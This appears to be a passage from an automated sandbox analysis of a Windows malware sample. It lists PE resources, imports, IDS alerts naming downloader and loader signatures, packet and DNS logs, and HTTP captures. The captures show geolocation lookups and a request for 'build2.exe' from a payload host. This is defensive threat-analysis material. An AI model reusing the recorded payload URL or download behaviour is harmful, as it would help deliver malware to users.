RT_ICON	0x2b7bd78	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.7471098265895953
RT_ICON	0x2b7c2e0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0			0.6284232365145228
RT_ICON	0x2b7e888	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0			0.7624113475177305
RT_ICON	0x2b7ed30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.6202025586353944
RT_ICON	0x2b7fbd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.6520758122743683
RT_ICON	0x2b80480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.8092485549132948
RT_ICON	0x2b809e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0			0.7180497925311203
RT_ICON	0x2b82f90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0			0.7713414634146342
RT_ICON	0x2b84038	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0			0.7930327868852459
RT_ICON	0x2b849c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0			0.7154255319148937
RT_ICON	0x2b84e90	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors			0.625
RT_ICON	0x2b85d38	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors			0.697202166064982
RT_ICON	0x2b865e0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors			0.6866359447004609
RT_ICON	0x2b86ca8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.7586705202312138
RT_ICON	0x2b87210	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216			0.6559128630705394
RT_ICON	0x2b897b8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.6986397748592871
RT_ICON	0x2b8a860	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304			0.7700819672131147
RT_ICON	0x2b8b1e8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024			0.7854609929078015
RT_ICON	0x2b8b6c8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.4139125799573561
RT_ICON	0x2b8c570	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.5956678700361011
RT_ICON	0x2b8ce18	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0			0.6751152073732719
RT_ICON	0x2b8d4e0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.7492774566473989
RT_ICON	0x2b8da48	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0			0.6607883817427386
RT_ICON	0x2b8fff0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0			0.7237335834896811
RT_ICON	0x2b91098	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0			0.7426229508196721
RT_ICON	0x2b91a20	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0			0.7845744680851063
RT_STRING	0x2b939b8	0x356	data	Bulgarian	Bulgaria	0.46252927400468385
RT_STRING	0x2b93d10	0x66	Matlab v4 mat-file (little endian) e, numeric, rows 0, columns 0	Bulgarian	Bulgaria	0.6862745098039216
RT_STRING	0x2b93d78	0x362	data	Bulgarian	Bulgaria	0.476905311778291
RT_GROUP_CURSOR	0x2b92070	0x14	data			1.15
RT_GROUP_CURSOR	0x2b937d8	0x22	data			1.0294117647058822
RT_GROUP_ICON	0x2b763e0	0x76	data			0.6610169491525424
RT_GROUP_ICON	0x2b91e88	0x76	data			0.6779661016949152
RT_GROUP_ICON	0x2b8b650	0x76	data			0.6779661016949152
RT_GROUP_ICON	0x2b7ecf0	0x3e	data			0.9193548387096774
RT_GROUP_ICON	0x2b7b660	0x4c	data			0.7631578947368421
RT_GROUP_ICON	0x2b84e28	0x68	data			0.7211538461538461
RT_VERSION	0x2b93800	0x1b4	data			0.6123853211009175

Imports

DLL	Import
KERNEL32.dll	HeapAlloc, GetCurrentProcess, GetEnvironmentStringsW, SetEvent, FlushViewOfFile, SleepEx, ReadConsoleW, CreateActCtxW, FreeConsole, HeapDestroy, FindNextVolumeW, WriteConsoleW, GetModuleFileNameW, GetOverlappedResult, GetACP, ReleaseSemaphore, DeactivateActCtx, Module32First, SetLastError, GetProcAddress, BeginUpdateResourceW, GetAtomNameA, LocalAlloc, SetEnvironmentVariableA, GetModuleHandleA, GetProcessShutdownParameters, EraseTape, VirtualProtect, GetCPInfoExA, EndUpdateResourceA, GetVersionExA, DeleteAtom, FindNextVolumeA, lstrcpyW, LCMapStringW, SetProcessAffinityMask, IsProcessorFeaturePresent, HeapReAlloc, EncodePointer, DecodePointer, GetModuleHandleW, ExitProcess, GetCommandLineW, HeapSetInformation, GetStartupInfoW, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, InterlockedIncrement, GetCurrentThreadId, GetLastError, InterlockedDecrement, ReadFile, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, EnterCriticalSection, LeaveCriticalSection, HeapFree, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, SetFilePointer, GetCPInfo, GetOEMCP, IsValidCodePage, CloseHandle, LoadLibraryW, WriteFile, FreeEnvironmentStringsW, HeapCreate, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, Sleep, MultiByteToWideChar, WideCharToMultiByte, RtlUnwind, SetStdHandle, GetConsoleCP, GetConsoleMode, FlushFileBuffers, GetStringTypeW, HeapSize, RaiseException, CreateFileW
USER32.dll	ScreenToClient
GDI32.dll	GetBitmapBits
WINHTTP.dll	WinHttpSetOption

Possible Origin

Language of compilation system	Country where language is spoken	Map
Bulgarian	Bulgaria

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-01T22:03:00.965283+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49704	104.21.32.1	443	TCP
2025-01-01T22:03:06.419543+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49705	104.21.32.1	443	TCP
2025-01-01T22:03:08.537470+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49707	104.21.32.1	443	TCP
2025-01-01T22:03:16.026650+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49711	104.21.32.1	443	TCP
2025-01-01T22:03:24.138211+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49762	104.21.32.1	443	TCP
2025-01-01T22:03:27.095913+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49706	92.246.89.93	80	TCP
2025-01-01T22:03:27.095913+0100	2020826	ET MALWARE Potential Dridex.Maldoc Minimal Executable Request	1	192.168.2.5	49706	92.246.89.93	80	TCP
2025-01-01T22:03:27.095913+0100	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	1	192.168.2.5	49706	92.246.89.93	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 22:03:00.028173923 CET	49704	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:00.028223991 CET	443	49704	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:00.028301001 CET	49704	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:00.064388037 CET	49704	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:00.064419031 CET	443	49704	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:00.541934967 CET	443	49704	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:00.542021990 CET	49704	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:00.592212915 CET	49704	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:00.592233896 CET	443	49704	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:00.592478037 CET	443	49704	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:00.592533112 CET	49704	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:00.595077038 CET	49704	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:00.639341116 CET	443	49704	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:00.965310097 CET	443	49704	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:00.965409994 CET	443	49704	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:00.965425014 CET	49704	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:00.965460062 CET	49704	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:00.968281031 CET	49704	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:00.968305111 CET	443	49704	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:05.524559975 CET	49705	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:05.524610996 CET	443	49705	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:05.524669886 CET	49705	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:05.539843082 CET	49705	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:05.539864063 CET	443	49705	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:06.005673885 CET	443	49705	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:06.005752087 CET	49705	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:06.010720015 CET	49705	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:06.010730028 CET	443	49705	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:06.010987043 CET	443	49705	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:06.011045933 CET	49705	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:06.012447119 CET	49705	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:06.059331894 CET	443	49705	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:06.419542074 CET	443	49705	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:06.419608116 CET	49705	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:06.419626951 CET	443	49705	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:06.419673920 CET	443	49705	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:06.419689894 CET	49705	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:06.419718981 CET	49705	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:06.420327902 CET	49705	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:06.420346975 CET	443	49705	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:06.928483963 CET	49706	80	192.168.2.5	92.246.89.93
Jan 1, 2025 22:03:06.933326960 CET	80	49706	92.246.89.93	192.168.2.5
Jan 1, 2025 22:03:06.933403969 CET	49706	80	192.168.2.5	92.246.89.93
Jan 1, 2025 22:03:06.936300993 CET	49706	80	192.168.2.5	92.246.89.93
Jan 1, 2025 22:03:06.941078901 CET	80	49706	92.246.89.93	192.168.2.5
Jan 1, 2025 22:03:07.674036026 CET	49707	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:07.674073935 CET	443	49707	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:07.676031113 CET	49707	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:07.685679913 CET	49707	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:07.685694933 CET	443	49707	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:08.142215014 CET	443	49707	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:08.142429113 CET	49707	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:08.146325111 CET	49707	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:08.146332979 CET	443	49707	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:08.146573067 CET	443	49707	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:08.146646023 CET	49707	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:08.148061991 CET	49707	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:08.195327997 CET	443	49707	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:08.537484884 CET	443	49707	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:08.537579060 CET	49707	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:08.537595987 CET	443	49707	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:08.537607908 CET	443	49707	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:08.537662029 CET	49707	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:08.538419008 CET	49707	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:08.538430929 CET	443	49707	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:15.148243904 CET	49711	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:15.148300886 CET	443	49711	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:15.148380041 CET	49711	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:15.155657053 CET	49711	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:15.155672073 CET	443	49711	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:15.612850904 CET	443	49711	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:15.612938881 CET	49711	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:15.624908924 CET	49711	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:15.624929905 CET	443	49711	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:15.625189066 CET	443	49711	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:15.625248909 CET	49711	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:15.631743908 CET	49711	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:15.679338932 CET	443	49711	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:16.026674032 CET	443	49711	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:16.026792049 CET	443	49711	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:16.026938915 CET	49711	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:16.027554989 CET	49711	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:16.027576923 CET	443	49711	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:23.296916962 CET	49762	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:23.296962023 CET	443	49762	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:23.297032118 CET	49762	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:23.308069944 CET	49762	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:23.308084965 CET	443	49762	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:23.759628057 CET	443	49762	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:23.759701967 CET	49762	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:23.766695023 CET	49762	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:23.766705990 CET	443	49762	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:23.766949892 CET	443	49762	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:23.767018080 CET	49762	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:23.768791914 CET	49762	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:23.815332890 CET	443	49762	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:24.138003111 CET	443	49762	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:24.138073921 CET	49762	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:24.138088942 CET	443	49762	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:24.138102055 CET	443	49762	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:24.138133049 CET	49762	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:24.138164997 CET	49762	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:24.138863087 CET	49762	443	192.168.2.5	104.21.32.1
Jan 1, 2025 22:03:24.138875961 CET	443	49762	104.21.32.1	192.168.2.5
Jan 1, 2025 22:03:27.095912933 CET	49706	80	192.168.2.5	92.246.89.93
Jan 1, 2025 22:03:29.337539911 CET	54678	53	192.168.2.5	162.159.36.2
Jan 1, 2025 22:03:29.342281103 CET	53	54678	162.159.36.2	192.168.2.5
Jan 1, 2025 22:03:29.342370033 CET	54678	53	192.168.2.5	162.159.36.2
Jan 1, 2025 22:03:29.347187996 CET	53	54678	162.159.36.2	192.168.2.5
Jan 1, 2025 22:03:29.825297117 CET	54678	53	192.168.2.5	162.159.36.2
Jan 1, 2025 22:03:29.830297947 CET	53	54678	162.159.36.2	192.168.2.5
Jan 1, 2025 22:03:29.830485106 CET	54678	53	192.168.2.5	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 22:03:00.004775047 CET	56537	53	192.168.2.5	1.1.1.1
Jan 1, 2025 22:03:00.013951063 CET	53	56537	1.1.1.1	192.168.2.5
Jan 1, 2025 22:03:06.499847889 CET	56089	53	192.168.2.5	1.1.1.1
Jan 1, 2025 22:03:06.502321959 CET	55819	53	192.168.2.5	1.1.1.1
Jan 1, 2025 22:03:06.510384083 CET	53	55819	1.1.1.1	192.168.2.5
Jan 1, 2025 22:03:06.844208956 CET	53	56089	1.1.1.1	192.168.2.5
Jan 1, 2025 22:03:11.575918913 CET	54220	53	192.168.2.5	1.1.1.1
Jan 1, 2025 22:03:11.590451956 CET	53	54220	1.1.1.1	192.168.2.5
Jan 1, 2025 22:03:16.627427101 CET	57477	53	192.168.2.5	1.1.1.1
Jan 1, 2025 22:03:16.642246008 CET	53	57477	1.1.1.1	192.168.2.5
Jan 1, 2025 22:03:21.709654093 CET	60581	53	192.168.2.5	1.1.1.1
Jan 1, 2025 22:03:21.724128008 CET	53	60581	1.1.1.1	192.168.2.5
Jan 1, 2025 22:03:27.096906900 CET	52311	53	192.168.2.5	1.1.1.1
Jan 1, 2025 22:03:27.115533113 CET	53	52311	1.1.1.1	192.168.2.5
Jan 1, 2025 22:03:29.336376905 CET	53	58067	162.159.36.2	192.168.2.5
Jan 1, 2025 22:03:29.853910923 CET	59263	53	192.168.2.5	1.1.1.1
Jan 1, 2025 22:03:29.861066103 CET	53	59263	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 1, 2025 22:03:00.004775047 CET	192.168.2.5	1.1.1.1	0xeb11	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:06.499847889 CET	192.168.2.5	1.1.1.1	0xbcd	Standard query (0)	znpst.top	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:06.502321959 CET	192.168.2.5	1.1.1.1	0xd4f7	Standard query (0)	rlrz.org	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:11.575918913 CET	192.168.2.5	1.1.1.1	0x2ec9	Standard query (0)	rlrz.org	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:16.627427101 CET	192.168.2.5	1.1.1.1	0x5b74	Standard query (0)	rlrz.org	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:21.709654093 CET	192.168.2.5	1.1.1.1	0xa286	Standard query (0)	rlrz.org	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:27.096906900 CET	192.168.2.5	1.1.1.1	0x27f6	Standard query (0)	rlrz.org	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:29.853910923 CET	192.168.2.5	1.1.1.1	0x8b82	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 1, 2025 22:03:00.013951063 CET	1.1.1.1	192.168.2.5	0xeb11	No error (0)	api.2ip.ua		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:00.013951063 CET	1.1.1.1	192.168.2.5	0xeb11	No error (0)	api.2ip.ua		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:00.013951063 CET	1.1.1.1	192.168.2.5	0xeb11	No error (0)	api.2ip.ua		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:00.013951063 CET	1.1.1.1	192.168.2.5	0xeb11	No error (0)	api.2ip.ua		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:00.013951063 CET	1.1.1.1	192.168.2.5	0xeb11	No error (0)	api.2ip.ua		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:00.013951063 CET	1.1.1.1	192.168.2.5	0xeb11	No error (0)	api.2ip.ua		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:00.013951063 CET	1.1.1.1	192.168.2.5	0xeb11	No error (0)	api.2ip.ua		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:06.510384083 CET	1.1.1.1	192.168.2.5	0xd4f7	Name error (3)	rlrz.org	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:06.844208956 CET	1.1.1.1	192.168.2.5	0xbcd	No error (0)	znpst.top		92.246.89.93	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:11.590451956 CET	1.1.1.1	192.168.2.5	0x2ec9	Name error (3)	rlrz.org	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:16.642246008 CET	1.1.1.1	192.168.2.5	0x5b74	Name error (3)	rlrz.org	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:21.724128008 CET	1.1.1.1	192.168.2.5	0xa286	Name error (3)	rlrz.org	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:27.115533113 CET	1.1.1.1	192.168.2.5	0x27f6	Name error (3)	rlrz.org	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 22:03:29.861066103 CET	1.1.1.1	192.168.2.5	0x8b82	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

znpst.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	92.246.89.93	80	2380	C:\Users\user\Desktop\16oApcahEa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 22:03:06.936300993 CET	89	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: znpst.top

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.32.1	443	6388	C:\Users\user\Desktop\16oApcahEa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 21:03:00 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2025-01-01 21:03:00 UTC	1106	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 21:03:00 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NXhiEzPgiK8sgoR1P3DBBEYECSS5kLUpfhcOQn9ejwndmNx2zsYsF%2B%2BDk4lKV%2B%2BB19HOK6yKicyw3cE4RCQBitOqgqgzgMo9cljOTlpg3Sa82dgsO1kPmb%2BpPpAs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb5741d0a1e72b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1789&min_rtt=1782&rtt_var=683&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2808&recv_bytes=723&delivery_rate=1585233&cwnd=214&unsent_bytes=0&cid=9ff702c6d03bfb56&ts=441&x=0"
2025-01-01 21:03:00 UTC	263	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.189","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
2025-01-01 21:03:00 UTC	156	IN	Data Raw: 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 79 6f 72 6b 20 63 69 74 79 22 2c 22 63 69 74 79 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 33 31 39 32 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 30 36 35 22 7d 0d 0a Data Ascii: \u0419\u043e\u0440\u043a","city":"New york city","city_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","latitude":"40.713192","longitude":"-74.006065"}
2025-01-01 21:03:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.32.1	443	2380	C:\Users\user\Desktop\16oApcahEa.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 21:03:06 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2025-01-01 21:03:06 UTC	1100	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 21:03:06 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DE3gb8RLGwR%2F6gxWSPW0VcVkaDx5NfwZs5KfRbZfAeV00B71h0bChRr5KCm7OsHlMTmDo4b8BQk9H%2F00PQQ80ELc06NkntH1m2XRHVtmrXh43H5AvBFepfC82iID"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb5743f1ad18cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1792&min_rtt=1787&rtt_var=680&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2809&recv_bytes=723&delivery_rate=1596500&cwnd=242&unsent_bytes=0&cid=c450d6bbe0d352df&ts=421&x=0"
